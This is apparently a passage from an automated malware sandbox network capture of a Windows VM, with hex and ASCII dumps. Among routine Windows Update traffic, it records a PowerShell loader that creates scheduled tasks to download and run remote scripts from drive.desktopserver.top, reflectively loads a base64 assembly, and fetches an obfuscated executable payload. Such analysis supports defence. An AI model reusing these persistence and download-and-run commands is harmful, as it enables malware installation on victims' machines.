2f 74 72 20 22 63 6f 6e 68 6f 73 74 2e 65 78 65 20 2d 2d 68 65 61 64 6c 65 73 73 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 63 20 69 72 6d 20 68 74 74 70 Data Ascii: 2c6schtasks /create /tn "CleanerRes" /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f ; schtasks /create /tn "DriversUpdate" /tr "conhost.exe --headless powershell.exe -c irm http
2024-09-30 16:58:26 UTC	200	IN	Data Raw: 6f 70 73 65 72 76 65 72 2e 74 6f 70 2f 66 69 6c 65 2f 72 65 73 2f 27 29 3b 20 24 62 79 74 65 65 73 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 24 73 74 72 69 6e 67 2e 52 65 70 6c 61 63 65 28 27 5e 27 2c 27 27 29 29 3b 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 5d 3a 3a 4c 6f 61 64 28 24 62 79 74 65 65 73 29 3b 24 41 64 6f 62 65 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 44 53 43 2e 53 69 67 6e 3b 20 24 41 64 6f 62 65 2e 43 6f 6e 6e 65 63 74 28 27 55 70 64 61 74 65 4d 65 27 29 3b 0d 0a Data Ascii: opserver.top/file/res/'); $bytees = [System.Convert]::FromBase64String($string.Replace('^','')); [System.Reflection.Assembly]::Load($bytees);$Adobe = New-Object DSC.Sign; $Adobe.Connect('UpdateMe');
2024-09-30 16:58:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49748	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=A3DFWFen5CsLoTP&MD=7SevKY14 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-30 16:58:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ed02efd6-84c1-4556-85c6-1e7dd1324dab MS-RequestId: 71ce9f13-0383-43c4-a246-71a51c13a420 MS-CV: W1XQhIIMDUC3pDhv.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 30 Sep 2024 16:58:26 GMT Connection: close Content-Length: 24490
2024-09-30 16:58:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-30 16:58:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49752	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 39 6b 2b 2b 77 46 4f 42 4a 55 69 49 61 4d 72 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 39 39 31 63 62 37 32 64 65 38 31 32 35 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 9k++wFOBJUiIaMrb.1Context: e0991cb72de8125e
2024-09-30 16:58:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-30 16:58:30 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 39 6b 2b 2b 77 46 4f 42 4a 55 69 49 61 4d 72 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 39 39 31 63 62 37 32 64 65 38 31 32 35 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 66 43 6e 7a 53 7a 79 76 51 63 39 2b 49 50 79 57 64 4a 62 61 32 41 52 75 2b 78 4b 55 37 73 39 53 69 79 34 4c 50 5a 78 71 64 79 73 71 2b 6a 73 55 44 32 63 50 4f 43 4e 69 68 79 51 49 69 5a 52 6a 37 66 59 7a 4d 6b 4c 38 61 34 54 51 4d 38 2f 32 4e 49 41 58 58 48 73 74 2f 38 59 4d 4b 66 6b 31 66 61 34 34 47 4a 76 4d 66 4a 46 4e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 9k++wFOBJUiIaMrb.2Context: e0991cb72de8125e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATfCnzSzyvQc9+IPyWdJba2ARu+xKU7s9Siy4LPZxqdysq+jsUD2cPOCNihyQIiZRj7fYzMkL8a4TQM8/2NIAXXHst/8YMKfk1fa44GJvMfJFN
2024-09-30 16:58:30 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 39 6b 2b 2b 77 46 4f 42 4a 55 69 49 61 4d 72 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 39 39 31 63 62 37 32 64 65 38 31 32 35 65 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 9k++wFOBJUiIaMrb.3Context: e0991cb72de8125e
2024-09-30 16:58:31 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-30 16:58:31 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 75 2b 6b 71 66 57 30 64 6b 75 58 58 5a 45 52 76 38 63 72 57 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: du+kqfW0dkuXXZERv8crWw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49757	104.21.92.189	443	8544	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:35 UTC	177	OUT	GET /file/res/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
2024-09-30 16:58:36 UTC	628	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bsVJM0ISSCRpdKNk%2BlYyWaY2Sbvk0U%2F%2FFt5%2BayXVSfA9kLBCVRuK9P3P2JGuxGqen1M5VQ34MKO0V9VOxXVEa9WpQTUOrIDOP3%2BvUu1TBQxtOR2i9kghO6tbY1QbVNOE95t0eJQm3XsrjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c2376c0a7286-EWR
2024-09-30 16:58:36 UTC	741	IN	Data Raw: 34 37 37 32 0d 0a 54 56 71 51 41 5e 41 4d 41 41 41 5e 41 45 41 41 41 5e 41 2f 2f 38 41 5e 41 4c 67 41 41 5e 41 41 41 41 41 5e 41 41 51 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 67 41 41 41 41 5e 41 34 66 75 67 5e 34 41 74 41 6e 5e 4e 49 62 67 42 5e 54 4d 30 68 56 5e 47 68 70 63 79 5e 42 77 63 6d 39 5e 6e 63 6d 46 74 5e 49 47 4e 68 62 5e 6d 35 76 64 43 5e 42 69 5a 53 42 5e 79 64 57 34 67 5e 61 57 34 67 52 5e 45 39 54 49 47 5e 31 76 5a 47 55 5e 75 44 51 30 4b 5e 4a 41 41 41 41 5e 41 41 41 41 41 5e 42 51 52 51 41 5e 41 54 41 45 44 5e 41 45 6d 6b 38 5e 6d 59 41 41 41 5e 41 41 41 41 41 5e 41 41 4f 41 41 5e 44 69 45 4c 41 5e 54 41 41 Data Ascii: 4772TVqQA^AMAAA^AEAAA^A//8A^ALgAA^AAAAA^AAQAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^gAAAA^A4fug^4AtAn^NIbgB^TM0hV^Ghpcy^Bwcm9^ncmFt^IGNhb^m5vdC^BiZSB^ydW4g^aW4gR^E9TIG^1vZGU^uDQ0K^JAAAA^AAAAA^BQRQA^ATAED^AEmk8^mYAAA^AAAAA^AAOAA^DiELA^TAA
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 47 39 5e 6a 41 41 41 4d 5e 41 41 41 41 41 5e 45 41 49 41 41 5e 41 43 41 41 41 5e 41 37 67 63 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 51 41 41 41 5e 51 67 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 43 41 42 5e 67 67 41 41 41 5e 41 41 41 45 67 5e 41 41 41 41 43 5e 41 41 55 41 6d 5e 45 55 46 41 4e 5e 68 49 41 67 41 5e 42 41 41 41 41 5e 41 41 41 41 41 5e 48 43 4f 42 77 5e 42 6e 64 41 41 5e 41 6a 51 55 49 5e 41 49 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 41 5e 41 41 41 41 42 5e 4d 77 41 77 41 5e 46 41 51 41 41 5e 41 51 41 41 45 5e 53 73 46 4b 4f 5e 6a 4e 4a 57 41 5e 67 41 67 41 41 5e 41 50 34 4f 41 5e Data Ascii: G9^jAAAM^AAAAA^EAIAA^ACAAA^A7gcA^AAAAA^AAAAA^AAAAA^AQAAA^QgAAA^AAAAA^AAAAA^AAAAA^AACAB^ggAAA^AAAEg^AAAAC^AAUAm^EUFAN^hIAgA^BAAAA^AAAAA^HCOBw^BndAA^AjQUI^AIAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAA^AAAAB^MwAwA^FAQAA^AQAAE^SsFKO^jNJWA^gAgAA^AP4OA^
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 5e 6f 71 77 45 41 5e 42 69 55 6d 67 5e 41 51 41 41 41 5e 51 67 42 67 41 5e 41 41 44 67 7a 5e 2f 2f 2f 2f 49 5e 49 77 41 41 41 5e 41 6f 45 51 41 5e 41 42 69 55 6d 5e 67 41 59 41 41 5e 41 51 67 42 41 5e 41 41 41 44 67 5e 59 2f 2f 2f 2f 5e 66 6d 63 43 41 5e 41 51 6f 42 41 5e 67 41 42 69 55 5e 6d 49 4b 4d 41 5e 41 41 41 6f 45 5e 51 41 41 42 69 5e 55 6d 66 6d 67 5e 43 41 41 51 6f 5e 43 41 67 41 42 5e 69 68 67 41 67 5e 41 47 66 6d 6b 5e 43 41 41 51 6f 5e 44 41 67 41 42 5e 69 55 6d 49 4b 5e 59 41 41 41 41 5e 6f 45 51 41 41 5e 42 69 43 70 41 5e 41 41 41 4b 42 5e 45 41 41 41 59 5e 6c 4a 6e 35 71 5e 41 67 41 45 4b 5e 42 41 49 41 41 5e 61 41 42 77 41 5e 41 42 43 41 41 5e 41 41 41 41 66 5e 67 59 43 41 41 5e 52 37 47 51 49 5e 41 42 44 6d 73 5e 2f 76 2f 2f 4a 5e 69 Data Ascii: A^oqwEA^BiUmg^AQAAA^QgBgA^AADgz^////I^IwAAA^AoEQA^ABiUm^gAYAA^AQgBA^AAADg^Y////^fmcCA^AQoBA^gABiU^mIKMA^AAAoE^QAABi^Umfmg^CAAQo^CAgAB^ihgAg^AGfmk^CAAQo^DAgAB^iUmIK^YAAAA^oEQAA^BiCpA^AAAKB^EAAAY^lJn5q^AgAEK^BAIAA^aABwA^ABCAA^AAAAf^gYCAA^R7GQI^ABDms^/v//J^i
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 5e 46 42 41 41 41 5e 41 46 38 41 41 5e 41 41 46 41 41 5e 41 41 65 67 41 5e 41 41 42 59 41 5e 41 41 41 34 57 5e 67 41 41 41 48 5e 4d 53 41 41 41 5e 4b 45 77 49 67 5e 41 67 41 41 41 5e 44 6a 56 2f 2f 5e 2f 2f 45 51 41 5e 52 41 48 35 76 5e 41 67 41 45 4b 5e 43 51 49 41 41 5e 59 6c 4a 68 45 5e 41 66 6e 41 43 5e 41 41 51 6f 4b 5e 41 67 41 42 69 5e 55 6d 66 6e 45 5e 43 41 41 51 6f 5e 4c 41 67 41 42 5e 68 4d 4a 49 41 5e 45 41 41 41 42 5e 2b 42 67 49 41 5e 42 48 73 65 41 5e 67 41 45 4f 5a 5e 66 2f 2f 2f 38 5e 6d 49 41 45 41 5e 41 41 41 34 6a 5e 50 2f 2f 2f 78 5e 45 41 66 67 73 5e 41 41 41 52 2b 5e 62 67 49 41 42 5e 43 67 67 43 41 5e 41 47 49 41 4d 5e 41 41 41 41 34 5e 63 66 2f 2f 2f 5e 77 41 52 41 68 5e 45 4a 46 69 69 5e 66 41 51 41 47 5e 63 78 4d 41 41 5e 41 6f Data Ascii: ^FBAAA^AF8AA^AAFAA^AAegA^AABYA^AAA4W^gAAAH^MSAAA^KEwIg^AgAAA^DjV//^//EQA^RAH5v^AgAEK^CQIAA^YlJhE^AfnAC^AAQoK^AgABi^UmfnE^CAAQo^LAgAB^hMJIA^EAAAB^+BgIA^BHseA^gAEOZ^f///8^mIAEA^AAA4j^P///x^EAfgs^AAAR+^bgIAB^CggCA^AGIAM^AAAA4^cf///^wARAh^EJFii^fAQAG^cxMAA^Ao
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 42 44 6f 50 5e 41 41 41 41 4a 5e 69 41 41 41 41 5e 41 41 4f 41 51 5e 41 41 41 44 2b 5e 44 41 34 41 52 5e 51 4d 41 41 41 5e 41 46 41 41 41 5e 41 47 77 41 41 5e 41 45 51 41 41 5e 41 41 34 41 41 5e 41 41 41 42 45 5e 41 66 6e 4d 43 5e 41 41 51 6f 4e 5e 41 67 41 42 69 5e 41 43 41 41 41 5e 41 4f 4e 54 2f 5e 2f 2f 38 62 52 5e 51 45 41 41 41 5e 44 32 2f 2f 2f 5e 2f 49 41 41 41 5e 41 41 42 2b 42 5e 67 49 41 42 48 5e 73 53 41 67 41 5e 45 4f 62 62 2f 5e 2f 2f 38 6d 49 5e 41 41 41 41 41 5e 41 34 71 2f 2f 5e 2f 2f 39 77 67 5e 41 41 41 41 41 5e 48 34 47 41 67 5e 41 45 65 79 67 5e 43 41 41 51 35 5e 32 2f 76 2f 2f 5e 79 59 67 41 41 5e 41 41 41 44 6a 5e 51 2b 2f 2f 2f 5e 63 78 55 41 41 5e 41 6f 54 41 43 5e 41 42 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 4a 5e 67 49 41 Data Ascii: ABDoP^AAAAJ^iAAAA^AAOAQ^AAAD+^DA4AR^QMAAA^AFAAA^AGwAA^AEQAA^AA4AA^AAABE^AfnMC^AAQoN^AgABi^ACAAA^AONT/^//8bR^QEAAA^D2///^/IAAA^AAB+B^gIABH^sSAgA^EObb/^//8mI^AAAAA^A4q//^//9wg^AAAAA^H4GAg^AEeyg^CAAQ5^2/v//^yYgAA^AAADj^Q+///^cxUAA^AoTAC^ABAAA^AfgYC^AAR7J^gIA
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 42 44 71 34 5e 2f 2f 2f 2f 4a 5e 69 41 42 41 41 5e 41 41 4f 4b 33 5e 2f 2f 2f 38 63 5e 52 51 45 41 41 5e 41 44 32 2f 2f 5e 2f 2f 49 41 45 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 76 7a 41 51 5e 41 45 4f 59 2f 5e 2f 2f 2f 38 6d 5e 49 41 51 41 41 5e 41 41 34 68 50 5e 2f 2f 2f 78 45 5e 49 66 6e 4d 43 5e 41 41 51 6f 4e 5e 41 67 41 42 69 5e 41 44 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 43 5e 41 49 41 42 44 5e 70 6b 2f 2f 2f 5e 2f 4a 69 41 43 5e 41 41 41 41 4f 5e 46 6e 2f 2f 2f 5e 2f 63 45 51 4d 5e 36 53 41 41 41 5e 41 43 41 43 41 5e 41 41 41 4f 41 5e 51 41 41 41 44 5e 2b 44 41 6f 41 5e 52 51 4d 41 41 5e 41 41 70 41 41 5e 41 41 56 41 41 5e 41 41 41 55 41 5e 41 41 41 34 4a 5e 41 41 41 41 44 5e 68 4b 41 41 41 5e 41 49 41 41 41 5e 41 41 42 2b 42 5e 67 49 41 42 Data Ascii: BDq4^////J^iABAA^AAOK3^///8c^RQEAA^AD2//^//IAE^AAAB+^BgIAB^HvzAQ^AEOY/^///8m^IAQAA^AA4hP^///xE^IfnMC^AAQoN^AgABi^ADAAA^AfgYC^AAR7C^AIABD^pk///^/JiAC^AAAAO^Fn///^/cEQM^6SAAA^ACACA^AAAOA^QAAAD^+DAoA^RQMAA^AApAA^AAVAA^AAAUA^AAA4J^AAAAD^hKAAA^AIAAA^AAB+B^gIAB
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 6a 67 41 5e 41 41 41 41 41 5e 69 67 59 41 41 5e 41 4b 49 41 41 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 74 45 41 67 5e 41 45 4f 52 51 5e 41 41 41 41 6d 5e 49 41 41 41 41 5e 41 41 34 43 51 5e 41 41 41 44 6a 5e 43 2f 2f 2f 2f 5e 2f 67 77 41 41 5e 45 55 43 41 41 5e 41 41 42 51 41 5e 41 41 43 73 41 5e 41 41 41 34 41 5e 41 41 41 41 41 5e 49 44 66 51 30 5e 41 41 41 51 67 5e 41 51 41 41 41 5e 48 34 47 41 67 5e 41 45 65 78 77 5e 43 41 41 51 35 5e 30 2f 2f 2f 2f 5e 79 59 67 41 51 5e 41 41 41 44 6a 5e 49 2f 2f 2f 2f 5e 4b 67 41 41 4f 5e 69 73 46 4b 47 5e 47 58 56 30 63 5e 43 65 77 30 41 5e 41 41 51 71 41 5e 44 59 72 42 53 5e 68 77 2f 32 46 5e 50 4b 43 63 41 5e 41 41 59 71 41 5e 41 41 36 4b 77 5e 55 6f 6e 51 39 5e 5a 53 51 41 6f 5e 70 41 4d 41 42 5e 69 6f 41 51 69 Data Ascii: jgA^AAAAA^igYAA^AKIAA^AAAB+^BgIAB^HtEAg^AEORQ^AAAAm^IAAAA^AA4CQ^AAADj^C////^/gwAA^EUCAA^AABQA^AACsA^AAA4A^AAAAA^IDfQ0^AAAQg^AQAAA^H4GAg^AEexw^CAAQ5^0////^yYgAQ^AAADj^I////^KgAAO^isFKG^GXV0c^Cew0A^AAQqA^DYrBS^hw/2F^PKCcA^AAYqA^AA6Kw^UonQ9^ZSQAo^pAMAB^ioAQi
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 4b 5e 41 41 41 41 4f 5e 48 37 2f 2f 2f 5e 38 52 41 43 67 5e 77 41 41 41 47 5e 4a 53 59 54 41 5e 53 41 46 41 41 5e 41 41 66 67 59 5e 43 41 41 52 37 5e 4b 51 49 41 42 5e 44 70 66 2f 2f 5e 2f 2f 4a 69 41 5e 46 41 41 41 41 5e 4f 46 54 2f 2f 5e 2f 38 62 52 51 5e 45 41 41 41 44 5e 32 2f 2f 2f 2f 5e 49 41 41 41 41 5e 41 42 2b 42 67 5e 49 41 42 48 74 5e 67 41 67 41 45 5e 4f 54 62 2f 2f 5e 2f 38 6d 49 41 5e 41 41 41 41 41 5e 34 4b 2f 2f 2f 5e 2f 78 45 41 45 5e 51 46 2b 67 41 5e 49 41 42 43 68 5e 6f 43 41 41 47 5e 4a 53 59 54 42 5e 43 41 43 41 41 5e 41 41 2f 67 34 5e 43 41 44 67 48 5e 2f 2f 2f 2f 30 5e 43 73 41 41 41 5e 59 6d 49 41 59 5e 41 41 41 41 34 5e 2b 2f 37 2f 2f 5e 7a 6a 4c 2f 2f 5e 2f 2f 49 41 41 5e 41 41 41 42 2b 5e 42 67 49 41 42 5e 48 74 6c 41 67 5e Data Ascii: AK^AAAAO^H7///^8RACg^wAAAG^JSYTA^SAFAA^AAfgY^CAAR7^KQIAB^Dpf//^//JiA^FAAAA^OFT//^/8bRQ^EAAAD^2////^IAAAA^AB+Bg^IABHt^gAgAE^OTb//^/8mIA^AAAAA^4K///^/xEAE^QF+gA^IABCh^oCAAG^JSYTB^CACAA^AA/g4^CADgH^////0^CsAAA^YmIAY^AAAA4^+/7//^zjL//^//IAA^AAAB+^BgIAB^HtlAg^
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 41 5e 42 69 67 31 41 5e 41 41 47 4a 53 5e 59 36 58 41 45 5e 41 41 43 41 41 5e 41 41 41 41 66 5e 67 59 43 41 41 5e 52 37 44 51 49 5e 41 42 44 6c 53 5e 2f 2f 2f 2f 4a 5e 69 41 42 41 41 5e 41 41 4f 45 66 5e 2f 2f 2f 38 34 5e 35 51 41 41 41 5e 43 41 41 41 41 5e 41 41 66 67 59 5e 43 41 41 52 37 5e 43 67 49 41 42 5e 44 6b 75 2f 2f 5e 2f 2f 4a 69 41 5e 41 41 41 41 41 5e 4f 43 50 2f 2f 5e 2f 2f 64 65 50 5e 2f 2f 2f 79 41 5e 46 41 41 41 41 5e 4f 42 54 2f 2f 5e 2f 38 63 52 51 5e 45 41 41 41 44 5e 32 2f 2f 2f 2f 5e 49 41 51 41 41 5e 41 42 2b 42 67 5e 49 41 42 48 74 5e 66 41 67 41 45 5e 4f 66 62 2b 2f 5e 2f 38 6d 49 41 5e 6f 41 41 41 41 5e 34 36 2f 37 2f 5e 2f 78 45 44 46 5e 31 67 54 41 79 5e 41 4e 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 2b 5e 51 45 41 42 44 5e 6e Data Ascii: A^Big1A^AAGJS^Y6XAE^AACAA^AAAAf^gYCAA^R7DQI^ABDlS^////J^iABAA^AAOEf^///84^5QAAA^CAAAA^AAfgY^CAAR7^CgIAB^Dku//^//JiA^AAAAA^OCP//^//deP^///yA^FAAAA^OBT//^/8cRQ^EAAAD^2////^IAQAA^AB+Bg^IABHt^fAgAE^Ofb+/^/8mIA^oAAAA^46/7/^/xEDF^1gTAy^ANAAA^AfgYC^AAR7+^QEABD^n
2024-09-30 16:58:36 UTC	1369	IN	Data Raw: 5e 4f 67 49 41 42 5e 44 72 54 2f 2f 5e 2f 2f 4a 69 41 5e 41 41 41 41 41 5e 4f 4d 6a 2f 2f 5e 2f 38 71 41 41 5e 41 54 4d 41 51 5e 41 36 41 41 41 5e 41 41 67 41 41 5e 42 45 72 42 53 5e 69 42 63 68 51 5e 37 49 41 49 41 5e 41 41 44 2b 44 5e 67 45 41 4f 41 5e 41 41 41 41 44 5e 2b 44 41 45 41 5e 52 51 55 41 41 5e 41 41 46 41 41 5e 41 41 6a 77 41 5e 41 41 45 6b 41 5e 41 41 42 37 41 5e 41 41 41 48 41 5e 41 41 41 44 67 5e 41 41 41 41 41 5e 45 67 41 65 4b 5e 45 4d 41 41 41 5e 5a 39 46 77 41 5e 41 42 43 41 45 5e 41 41 41 41 4f 5e 4d 76 2f 2f 2f 5e 38 53 41 48 77 5e 59 41 41 41 45 5e 45 67 41 6f 41 5e 51 41 41 4b 79 5e 41 44 41 41 41 5e 41 66 67 59 43 5e 41 41 52 37 37 5e 51 45 41 42 44 5e 6d 70 2f 2f 2f 5e 2f 4a 69 41 43 5e 41 41 41 41 4f 5e 4a 37 2f 2f 2f 5e 38 53 Data Ascii: ^OgIAB^DrT//^//JiA^AAAAA^OMj//^/8qAA^ATMAQ^A6AAA^AAgAA^BErBS^iBchQ^7IAIA^AAD+D^gEAOA^AAAAD^+DAEA^RQUAA^AAFAA^AAjwA^AAEkA^AAB7A^AAAHA^AAADg^AAAAA^EgAeK^EMAAA^Z9FwA^ABCAE^AAAAO^Mv///^8SAHw^YAAAE^EgAoA^QAAKy^ADAAA^AfgYC^AAR77^QEABD^mp///^/JiAC^AAAAO^J7///^8S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49758	104.21.92.189	443	9196	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
